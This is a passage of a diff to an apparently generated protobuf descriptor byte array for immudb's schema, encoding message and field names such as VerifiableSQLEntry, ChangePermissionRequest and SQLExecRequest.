0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, + 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, + 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, + 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, + 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, + 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, + 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, + 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, - 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, - 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, - 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, - 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, - 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, + 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, + 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, + 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, + 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, + 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, - 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, - 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, - 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, - 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, - 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, - 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, - 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, - 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, - 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, - 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, - 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, - 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, - 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, - 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 